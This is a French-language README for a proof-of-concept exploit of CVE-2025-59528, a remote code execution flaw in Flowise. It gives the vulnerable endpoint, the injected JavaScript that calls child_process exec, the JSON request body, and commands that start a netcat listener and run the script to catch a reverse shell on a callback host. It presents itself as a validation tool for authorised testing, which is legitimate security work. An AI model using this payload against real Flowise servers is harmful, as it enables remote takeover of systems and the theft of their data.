Version française

Preuve de concept CVE-2025-59528

PoC minimal axé sur la validation technique de la vulnérabilité dans un environnement autorisé.

Prérequis

• Vous devez disposer d'un compte utilisateur sur le tableau de bord Flowise cible.
• Vous devez disposer d'une clé API valide liée à ce compte.
• Vous devez démarrer un listener sur votre hôte de rappel avant d'exécuter le PoC (exemple : nc -lvn 4444).

Exemple d'utilisation

Démarrez d'abord le listener :

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api VOTRE_CLE_API_VALIDE

Remplacez les valeurs par les paramètres de votre environnement autorisé.

Résumé de la CVE

• Produit concerné : Flowise
• Versions concernées : antérieures à 3.0.5
• Type : Exécution de code à distance (RCE)
• Point d'entrée : endpoint POST /api/v1/node-load-method/customMCP

Le problème vient de la façon dont inputs.mcpServerConfig est traité : cette valeur est interprétée d'une manière qui permet l'exécution de JavaScript côté serveur. En pratique, un attaquant authentifié peut injecter une expression qui appelle child_process et exécute une commande système.

Mécanisme d'exploitation

Le flux d'exploitation est le suivant :

1. Construire une requête vers l'endpoint customMCP.
2. Placer une expression JavaScript malveillante dans mcpServerConfig.
3. Déclencher process.mainModule.require('child_process').
4. Exécuter une commande système (exec/execSync).

Si elle est acceptée, le serveur exécute la commande dans son contexte système.

Comment fonctionne ce PoC (poc.py)

Le script prend quatre arguments :

• -d/--domain : domaine cible
• -lh/--host : IP de rappel
• -lp/--port : port de rappel
• -A/--api : jeton API Bearer

Ensuite, il :

1. Construit l'URL vulnérable : http://<domain>/api/v1/node-load-method/customMCP
2. Ajoute l'en-tête Authorization: Bearer <token>
3. Prépare une commande shell de rappel
4. Injecte cette commande dans une expression JS :

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. Envoie ce JSON :

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<expression JS injectée>"
  }
}

6. Affiche le statut HTTP et la réponse brute pour validation.

Pourquoi ce PoC est meilleur (vs EDB 52440)

Comparé au PoC EDB (qui effectue une connexion par email/mot de passe, utilise des en-têtes de type navigateur et exécute un --cmd libre), ce script est meilleur pour la validation pure du PoC :

1. Plus direct : pas de flux de connexion et moins de bruit HTTP inutile.
2. Surface de casse plus faible : moins d'étapes liées à la configuration frontend/auth.
3. Automatisation adaptée à la CI : arguments simples et sortie rapide.
4. Validation plus claire : statut + corps affichés immédiatement.
5. Ciblé sur le chemin principal de la CVE : injection mcpServerConfig et exécution côté serveur.

En bref : le script EDB est une démo offensive plus générique, tandis que ce PoC est plus ciblé pour la reproductibilité technique.

Limitations actuelles

• Suppose qu'un jeton API valide existe déjà.
• Pas de mode https ni de gestion des certificats.
• Pas de logique de nouvelle tentative/backoff.
• La commande de rappel est codée en dur (pas encore paramétrée via --cmd).

Utilisation responsable

Testez uniquement sur les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite.